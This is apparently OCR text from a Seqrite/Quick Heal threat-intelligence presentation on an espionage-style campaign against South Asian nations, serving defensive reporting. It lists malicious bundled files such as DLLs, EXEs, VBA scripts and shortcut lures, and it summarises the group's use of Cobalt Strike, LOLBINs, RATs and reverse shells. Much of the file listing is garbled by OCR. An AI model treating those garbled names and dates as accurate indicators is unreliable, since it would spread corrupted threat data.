Bundled Files (6) ©

Scanned Detections File type Name
2025-06-20 /72 Win32 DLL 20255EEET B/ 5/ MACOSX/CiscoSparkLauncher.dll

2025-06-20 /62 VBA 20255 Eaa itz A 5/ MACOSX/Storevbs

2025-06-20 /62 Windows shortcut 2025 BT SRR S S 2025 S R A & pdiInk
2025-06-20 ) /63 PDF 2025F B SRR S MACOSX/20254F RS SR B0 25 pdf
2025-06-20 ) /62 XML 20254 EEE SRR 40 2/ MACOSX/Cisco.xml

2025-06-20 0 /T2 Win32 EXE 20254F T S AEERF4 25/ MACOSX/CiscoCollabHost.exe

Scanned Detections File type
2025-06-19 /68 Win32 DLL PO OO VOOV O©/.05 Store/nw_elidll

2025-05-27 /63 Windows shortcut POVOOO00OOO/U-9000000069.pdilnk
2025-05-23 /62 4 OO OOO9OOO/ DS _Storefupdate.dat
2025-06-21 D 72 Win32 EXE O OO OOOOO®/ DS_Store/MacUpdate.exe
2025-05-13 0 /61 VBA PO OOOOOOOe/ DS _Store/updatevbs
2025-05-27 0 /64 OO OOV HOOO®/ DS_Store/zww.pdf
2025-05-13 0 /60 POVOVOOOOOO/9OOOVOI9O9/9OHc/movie_002.mp4a
)0/ 0000 00300/0000c/1111png
D/ OO0V 0306/©000c/1112png

> 9/ OOOOOOIOO/OVVPOc/1113 png

SERITE | Quick Heal


https://www.proofpoint.com/us/blog/threat-insight/malware-must-not-be-named-suspected-espionage-campaign-delivers-voldemort

a9

Conclusion

 UNGOO0OZ targets South Asian Nations primarily

* Multiple Overlaps between AmberMist and CobaltWhisper
 Campaigns active since May 2024 till date

» Sophisticated lures targeting professionals across multiple-industries
* Heavily relies on Cobalt Strike, LOLBINs, custom-RATs & reverse shell

* |mitates Chinese-state sponsored campaigns with evolving TTPs
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Thank You

Innovate. Simplify. Secure.

www.quickheal.com | www.seqrite.com



	Slide 1
	Slide 2
	Slide 3
	Slide 4
	Slide 5
	Slide 6
	Slide 7
	Slide 8
	Slide 9
	Slide 10
	Slide 11
	Slide 12
	Slide 13
	Slide 14
	Slide 15
	Slide 16
	Slide 17
	Slide 18
	Slide 19
	Slide 20
	Slide 21
	Slide 22
	Slide 23
	Slide 24
	Slide 25
	Slide 26
	Slide 27
	Slide 28
	Slide 29
	Slide 30
	Slide 31
	Slide 32
	Slide 33
	Slide 34
	Slide 35
	Slide 36
	Slide 37
	Slide 38
	Slide 39
	Slide 40
	Slide 41
	Slide 42
	Slide 43
	Slide 44
	Slide 45
	Slide 46
	Slide 47

